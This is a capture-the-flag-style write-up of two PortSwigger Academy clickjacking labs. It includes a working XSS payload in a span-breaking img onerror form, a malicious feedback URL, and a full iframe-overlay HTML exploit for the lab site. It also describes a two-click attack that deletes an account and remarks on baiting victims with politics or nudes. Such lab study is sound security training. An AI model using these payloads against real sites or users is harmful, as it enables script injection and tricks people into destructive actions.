Labs Covered
This write-up focuses on the following PRACTITIONER-level labs from the PortSwigger Web Security Academy related to Clickjacking:
4 Exploiting clickjacking vulnerability to trigger DOM-based XSS
This lab demonstrates how clickjacking can be used to trigger DOM-based cross-site scripting attacks.
5 Multistep clickjacking
This lab shows how attackers can perform clickjacking attacks involving multiple steps or user interactions.
LAB 4 - Exploiting clickjacking vulnerability to trigger DOM-based XSS
Lab Description
Solution
The lab application is again the blog website. This time, no credentials are provided.
After a first look at the page, I see two options to send input:
• The Submit feedback form that is linked at the top
• The comments feature on each article While browsing, Burp confirms for both pages that they are frameable:
Submit a feedback
So next I submit the feedback form. The name gets reflected in the page content
It reflects the content of the name field:
It is inside a span tag:
We can exploit the XSS using the payload:
</span><img src=x onerror=alert(1)><span>
The fields can be populated using GET parameters:
/feedback?name=</span><img src=x onerror=alert(1)><span>&email=a@a.com&subject=a&message=a
Looking at this script reveals an injection point:
So we can execute the attack with a payload like this:
<head>
<style>
#target_website {
position:relative;
width:600px;
height:600px;
opacity:0.1;
z-index:2;
}
#decoy_website {
position:absolute;
width:600px;
height:600px;
z-index:1;
}
#btn {
position:absolute;
top:440px;
left:70px;
}
</style>
</head>
<body>
<div id="decoy_website">
<button id="btn">Click me</button>
</div>
<iframe id="target_website" src="https://id.web-security-academy.net/feedback?name=%3C/span%3E%3Cimg%20src=x%20onerror=print()%3E%3Cspan%3E&email=a@a.com&subject=a&message=a">
</iframe>
</body>
A final test shows a properly filled and aligned page:
After reducing the opacity to 0.000, Store and Deliver exploit to victim, the lab updates to SOLVED.
LAB 5 - Multistep clickjacking
Lab Description
Solution
Analysis
The lab application is the already well-known blog website. The targeted functionality is an authenticated one, so I log into the account of wiener to have a look.
The account page features a prominent Delete account button.
Once I click on it, an additional dialog is shown:
The requests are very similar:
Two obvious options are not possible here:
-
I cannot manipulate the form itself. Otherwise, it would be easy to bypass the second check by simply adding the confirmation value to the form.
-
The CSRF token prevents me from directly issuing the delete request within an iframe. Furthermore, the
/my-account/deleteendpoint does not acceptGETrequests, so it cannot be directly loaded into an iframe.So I need to convince the user to click twice. In real life, knowing common user behaviour will be important to convince them not only to click but also the order of clicks. Knowing as much about my victim (or victim group) is key here — some are triggered by cars, others I can get rage-clicking by using politics, and for some audiences, nudes are always best.
Craft the malicious HTML
Here in the lab, I have the information that the user clicks on anything that tells him to click. My victim user even obeys the order I tell him to click. So that is exactly what I’ll do:
This renders the page with two Click me fields, the first perfectly overlays the Delete account button.
Whereas the next does the same for the confirmation
After reducing the opacity to 0.000, Store and Deliver exploit to victim, the lab updates to solved